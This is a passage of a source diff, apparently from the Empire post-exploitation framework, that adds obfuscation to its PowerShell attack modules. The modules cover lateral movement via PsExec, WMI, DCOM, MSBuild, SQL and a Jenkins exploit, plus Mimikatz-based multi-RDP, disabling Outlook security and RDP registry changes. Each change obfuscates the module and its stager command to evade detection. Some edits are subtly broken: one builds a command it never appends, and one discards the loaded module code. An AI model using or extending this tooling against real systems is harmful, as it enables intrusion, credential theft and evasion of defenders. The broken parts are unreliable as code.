PowerShell one-liner with all of the proper options set command = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) # set defaults for Empire - script += "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command) + scriptEnd = "\n" + 'Invoke-InveighRelay -Tool "2" -Command \"%s\"' % (command) for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "listener" and option.lower() != "useragent" and option.lower() != "proxy_" and option.lower() != "proxycreds" and option.lower() != "command": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: if "," in str(values['Value']): quoted = '"' + str(values['Value']).replace(',', '","') + '"' - script += " -" + str(option) + " " + quoted + scriptEnd += " -" + str(option) + " " + quoted else: - script += " -" + str(option) + " \"" + str(values['Value']) + "\"" - + scriptEnd += " -" + str(option) + " \"" + str(values['Value']) + "\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/invoke_dcom.py b/lib/modules/powershell/lateral_movement/invoke_dcom.py index 3b9942273..ba766c3f0 100644 --- a/lib/modules/powershell/lateral_movement/invoke_dcom.py +++ b/lib/modules/powershell/lateral_movement/invoke_dcom.py @@ -83,7 +83,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] method = self.options['Method']['Value'] @@ -93,7 +93,9 @@ def generate(self): proxyCreds = self.options['ProxyCreds']['Value'] moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-DCOM.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -124,9 +126,11 @@ def generate(self): else: stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher - script += "Invoke-DCOM -ComputerName %s -Method %s -Command '%s'" % (computerName, method, stagerCmd) - + scriptEnd = "Invoke-DCOM -ComputerName %s -Method %s -Command '%s'" % (computerName, method, stagerCmd) - script += "| Out-String | %{$_ + \"`n\"};" + scriptEnd += "| Out-String | %{$_ + \"`n\"};" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py b/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py index c62d32490..cdafed5b4 100644 --- a/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py +++ b/lib/modules/powershell/lateral_movement/invoke_executemsbuild.py @@ -118,7 +118,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] @@ -126,6 +126,9 @@ def generate(self): proxyCreds = self.options['ProxyCreds']['Value'] moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-ExecuteMSBuild.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -136,7 +139,7 @@ def generate(self): f.close() script = moduleCode - script += "Invoke-ExecuteMSBuild" + scriptEnd = "Invoke-ExecuteMSBuild" credID = self.options["CredID"]['Value'] if credID != "": @@ -169,16 +172,19 @@ def generate(self): script = script.replace('LAUNCHER',launcher) # add any arguments to the end execution of the script - script += " -ComputerName " + self.options['ComputerName']['Value'] + scriptEnd += " -ComputerName " + self.options['ComputerName']['Value'] if self.options['UserName']['Value'] != "": - script += " -UserName \"" + self.options['UserName']['Value'] + "\" -Password \"" + self.options['Password']['Value'] + "\"" + scriptEnd += " -UserName \"" + self.options['UserName']['Value'] + "\" -Password \"" + self.options['Password']['Value'] + "\"" if self.options['DriveLetter']['Value']: - script += " -DriveLetter \"" + self.options['DriveLetter']['Value'] + "\"" + scriptEnd += " -DriveLetter \"" + self.options['DriveLetter']['Value'] + "\"" if self.options['FilePath']['Value']: - script += " -FilePath \"" + self.options['FilePath']['Value'] + "\"" + scriptEnd += " -FilePath \"" + self.options['FilePath']['Value'] + "\"" - script += " | Out-String" + scriptEnd += " | Out-String" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/invoke_psexec.py b/lib/modules/powershell/lateral_movement/invoke_psexec.py index 82fd4870c..ca5fb5763 100644 --- a/lib/modules/powershell/lateral_movement/invoke_psexec.py +++ b/lib/modules/powershell/lateral_movement/invoke_psexec.py @@ -90,7 +90,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] computerName = self.options['ComputerName']['Value'] @@ -103,7 +103,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/lateral_movement/Invoke-PsExec.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -115,7 +117,7 @@ def generate(self): script = moduleCode - + scriptEnd = "" if command != "": # executing a custom command on the remote machine return "" @@ -139,9 +141,11 @@ def generate(self): else: stagerCmd = '%COMSPEC% /C start /b C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher - script += "Invoke-PsExec -ComputerName %s -ServiceName \"%s\" -Command \"%s\"" % (computerName, serviceName, stagerCmd) - + scriptEnd += "Invoke-PsExec -ComputerName %s -ServiceName \"%s\" -Command \"%s\"" % (computerName, serviceName, stagerCmd) - script += "| Out-String | %{$_ + \"`n\"};" + scriptEnd += "| Out-String | %{$_ + \"`n\"};" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/invoke_psremoting.py b/lib/modules/powershell/lateral_movement/invoke_psremoting.py index 468038772..e238d20e9 100644 --- a/lib/modules/powershell/lateral_movement/invoke_psremoting.py +++ b/lib/modules/powershell/lateral_movement/invoke_psremoting.py @@ -88,7 +88,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] @@ -135,5 +135,6 @@ def generate(self): script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-PSRemoting executed on " +computerNames +"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py index 8478b8d9c..316cae561 100644 --- a/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py +++ b/lib/modules/powershell/lateral_movement/invoke_sqloscmd.py @@ -74,7 +74,7 @@ def __init__(self, mainMenu, params=[]): option, value = param if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): credID = self.options["CredID"]['Value'] if credID != "": @@ -101,6 +101,9 @@ def generate(self): moduleSource = self.mainMenu.installPath + "data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1" moduleCode = "" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: with open(moduleSource, 'r') as source: moduleCode = source.read() @@ -122,10 +125,13 @@ def generate(self): command = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher - script += "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command) + scriptEnd = "Invoke-SQLOSCmd -Instance \"%s\" -Command \"%s\"" % (instance, command) if username != "": - script += " -UserName "+username + scriptEnd += " -UserName "+username if password != "": - script += " -Password "+password + scriptEnd += " -Password "+password + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py index c3a2ad4b8..7cef7e81d 100644 --- a/lib/modules/powershell/lateral_movement/invoke_sshcommand.py +++ b/lib/modules/powershell/lateral_movement/invoke_sshcommand.py @@ -73,10 +73,12 @@ def __init__(self, mainMenu, params=[]): if option in self.options: self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -88,7 +90,7 @@ def generate(self): script = moduleCode - script += "\nInvoke-SSHCommand " + scriptEnd = "\nInvoke-SSHCommand " # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] @@ -117,9 +119,10 @@ def generate(self): if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - - return script \ No newline at end of file + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd + return script diff --git a/lib/modules/powershell/lateral_movement/invoke_wmi.py b/lib/modules/powershell/lateral_movement/invoke_wmi.py index 90b5da2c0..23e5fb535 100644 --- a/lib/modules/powershell/lateral_movement/invoke_wmi.py +++ b/lib/modules/powershell/lateral_movement/invoke_wmi.py @@ -88,7 +88,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] @@ -144,5 +144,6 @@ def generate(self): script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " +computerNames +"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py b/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py index 7269d92b4..afbd7b084 100644 --- a/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py +++ b/lib/modules/powershell/lateral_movement/invoke_wmi_debugger.py @@ -94,7 +94,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """$null = Invoke-WmiMethod -Path Win32_process -Name create""" @@ -186,6 +186,7 @@ def generate(self): script = "$PSPassword = \""+password+"\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Management.Automation.PSCredential(\""+userName+"\",$PSPassword);" + script + " -Credential $Credential" script += ";'Invoke-Wmi executed on " +computerNames + statusMsg+"'" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/lateral_movement/jenkins_script_console.py b/lib/modules/powershell/lateral_movement/jenkins_script_console.py index a5b47e854..16b49e437 100644 --- a/lib/modules/powershell/lateral_movement/jenkins_script_console.py +++ b/lib/modules/powershell/lateral_movement/jenkins_script_console.py @@ -82,7 +82,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # extract all of our options listenerName = self.options['Listener']['Value'] userAgent = self.options['UserAgent']['Value'] @@ -102,7 +102,9 @@ def generate(self): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-Jenkins.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -114,9 +116,11 @@ def generate(self): script = moduleCode - script += "\nExploit-Jenkins" - script += " -Rhost "+str(self.options['Rhost']['Value']) - script += " -Port "+str(self.options['Port']['Value']) - script += " -Cmd \"" + launcher + "\"" - + scriptEnd = "\nExploit-Jenkins" + scriptEnd += " -Rhost "+str(self.options['Rhost']['Value']) + scriptEnd += " -Port "+str(self.options['Port']['Value']) + scriptEnd += " -Cmd \"" + launcher + "\"" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py b/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py index 4cc366a96..cd01e6815 100644 --- a/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py +++ b/lib/modules/powershell/lateral_movement/new_gpo_immediate_task.py @@ -110,7 +110,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] listenerName = self.options['Listener']['Value'] @@ -137,7 +137,6 @@ def generate(self): # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" - try: f = open(moduleSource, 'r') except: @@ -150,7 +149,7 @@ def generate(self): # get just the code needed for the specified function script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += moduleName + " -Command cmd -CommandArguments '"+command+"' -Force" + script = moduleName + " -Command cmd -CommandArguments '"+command+"' -Force" for option,values in self.options.iteritems(): if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]: @@ -162,5 +161,6 @@ def generate(self): script += " -" + str(option) + " '" + str(values['Value']) + "'" script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/disable_rdp.py b/lib/modules/powershell/management/disable_rdp.py index fb731929c..3cb332a47 100644 --- a/lib/modules/powershell/management/disable_rdp.py +++ b/lib/modules/powershell/management/disable_rdp.py @@ -48,11 +48,12 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # command to disable RDP script = "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f;" # command to enable NLA only if the enable runs successfully script += " if ($?) { $null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 1 /f }" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/downgrade_account.py b/lib/modules/powershell/management/downgrade_account.py index d83a25d6d..a711b0f14 100644 --- a/lib/modules/powershell/management/downgrade_account.py +++ b/lib/modules/powershell/management/downgrade_account.py @@ -69,13 +69,12 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" - try: f = open(moduleSource, 'r') except: @@ -89,7 +88,7 @@ def generate(self): script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script += moduleName + " " - + for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': @@ -100,5 +99,6 @@ def generate(self): script += " -" + str(option) + " " + str(values['Value']) script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/enable_multi_rdp.py b/lib/modules/powershell/management/enable_multi_rdp.py index 0c92889f1..1db65880b 100644 --- a/lib/modules/powershell/management/enable_multi_rdp.py +++ b/lib/modules/powershell/management/enable_multi_rdp.py @@ -53,11 +53,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -69,6 +71,8 @@ def generate(self): script = moduleCode - script += "Invoke-Mimikatz -Command '\"ts::multirdp\"';" - + scriptEnd = "Invoke-Mimikatz -Command '\"ts::multirdp\"';" + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/enable_rdp.py b/lib/modules/powershell/management/enable_rdp.py index 45bbddb33..e7a27a56b 100644 --- a/lib/modules/powershell/management/enable_rdp.py +++ b/lib/modules/powershell/management/enable_rdp.py @@ -48,7 +48,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # command to enable RDP script = "reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f;" @@ -56,5 +56,6 @@ def generate(self): script += " if($?) {$null = netsh firewall set service type = remotedesktop mod = enable;" # command to disable NLA script += "$null = reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v UserAuthentication /t REG_DWORD /d 0 /f }" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/get_domain_sid.py b/lib/modules/powershell/management/get_domain_sid.py index b453b82d5..1c10faa68 100644 --- a/lib/modules/powershell/management/get_domain_sid.py +++ b/lib/modules/powershell/management/get_domain_sid.py @@ -53,13 +53,12 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" - try: f = open(moduleSource, 'r') except: @@ -73,16 +72,17 @@ def generate(self): script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) script += moduleName + " " - + scriptEnd = "" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/honeyhash.py b/lib/modules/powershell/management/honeyhash.py index 16bcd2faa..575fd97c9 100644 --- a/lib/modules/powershell/management/honeyhash.py +++ b/lib/modules/powershell/management/honeyhash.py @@ -65,11 +65,13 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): # read in the common module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/New-HoneyHash.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -81,11 +83,13 @@ def generate(self): script = moduleCode - script += "New-HoneyHash" + scriptEnd = "New-HoneyHash" for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': - script += " -" + str(option) + " " + str(values['Value']) - + scriptEnd += " -" + str(option) + " " + str(values['Value']) + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/invoke_script.py b/lib/modules/powershell/management/invoke_script.py index b7fb22d11..1b0b4f4b7 100644 --- a/lib/modules/powershell/management/invoke_script.py +++ b/lib/modules/powershell/management/invoke_script.py @@ -58,7 +58,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): scriptPath = self.options['ScriptPath']['Value'] scriptCmd = self.options['ScriptCmd']['Value'] @@ -76,5 +76,6 @@ def generate(self): script += '\n' script += "%s" %(scriptCmd) - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/lock.py b/lib/modules/powershell/management/lock.py index 554048e4b..9315a87bb 100644 --- a/lib/modules/powershell/management/lock.py +++ b/lib/modules/powershell/management/lock.py @@ -50,7 +50,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): script = """ Function Invoke-LockWorkStation { @@ -86,5 +86,6 @@ def generate(self): } Invoke-LockWorkStation; "Workstation locked." """ - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/logoff.py b/lib/modules/powershell/management/logoff.py index def27dc07..45087765e 100644 --- a/lib/modules/powershell/management/logoff.py +++ b/lib/modules/powershell/management/logoff.py @@ -53,7 +53,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): allUsers = self.options['AllUsers']['Value'] @@ -61,5 +61,6 @@ def generate(self): script = "'Logging off all users.'; Start-Sleep -s 3; $null = (gwmi win32_operatingsystem).Win32Shutdown(4)" else: script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f" - + if obfuscate: + script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand) return script diff --git a/lib/modules/powershell/management/mailraider/disable_security.py b/lib/modules/powershell/management/mailraider/disable_security.py index db867702d..7bf6639ee 100644 --- a/lib/modules/powershell/management/mailraider/disable_security.py +++ b/lib/modules/powershell/management/mailraider/disable_security.py @@ -72,14 +72,16 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] reset = self.options['Reset']['Value'] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -90,22 +92,24 @@ def generate(self): f.close() script = moduleCode + "\n" - + scriptEnd = "" if reset.lower() == "true": # if the flag is set to restore the security settings - script += "Reset-SecuritySettings " + scriptEnd += "Reset-SecuritySettings " else: - script += "Disable-SecuritySettings " + scriptEnd += "Disable-SecuritySettings " for option,values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "reset": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/mailraider/get_emailitems.py b/lib/modules/powershell/management/mailraider/get_emailitems.py index 84efe6d60..d7229cfc7 100644 --- a/lib/modules/powershell/management/mailraider/get_emailitems.py +++ b/lib/modules/powershell/management/mailraider/get_emailitems.py @@ -61,7 +61,7 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] folderName = self.options['FolderName']['Value'] @@ -69,7 +69,9 @@ def generate(self): # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -81,8 +83,10 @@ def generate(self): script = moduleCode + "\n" - script += "Get-OutlookFolder -Name '%s' | Get-EmailItems -MaxEmails %s" %(folderName, maxEmails) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd = "Get-OutlookFolder -Name '%s' | Get-EmailItems -MaxEmails %s" %(folderName, maxEmails) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/mailraider/get_subfolders.py b/lib/modules/powershell/management/mailraider/get_subfolders.py index 7694d8871..e61c68db4 100644 --- a/lib/modules/powershell/management/mailraider/get_subfolders.py +++ b/lib/modules/powershell/management/mailraider/get_subfolders.py @@ -56,13 +56,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -72,17 +74,19 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + "\n" + moduleName + " " - + script = moduleCode + "\n" + scriptEnd = moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/mailraider/mail_search.py b/lib/modules/powershell/management/mailraider/mail_search.py index 228736509..9494cfdae 100644 --- a/lib/modules/powershell/management/mailraider/mail_search.py +++ b/lib/modules/powershell/management/mailraider/mail_search.py @@ -81,13 +81,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = self.mainMenu.installPath + "/data/module_source/management/MailRaider.ps1" - + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: @@ -97,17 +99,19 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + "\n" + moduleName + " " - + script = moduleCode + "\n" + scriptEnd = moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch - script += " -" + str(option) + scriptEnd += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + scriptEnd += " -" + str(option) + " " + str(values['Value']) + scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + if obfuscate: + scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand) + script += scriptEnd return script diff --git a/lib/modules/powershell/management/mailraider/search_gal.py b/lib/modules/powershell/management/mailraider/search_gal.py index 313735155..db46b095d 100644 --- a/lib/modules/powershell/management/mailraider/search_gal.py +++ b/lib/modules/powershell/management/mailraider/search_gal.py @@ -76,13 +76,15 @@ def __init__(self, mainMenu, params=[]): self.options[option]['Value'] = value - def generate(self): + def generate(self, obfuscate=False, obfuscationCommand=""): moduleName = self.info["Name"] # read in the common powerview.ps1 module source code moduleSource = 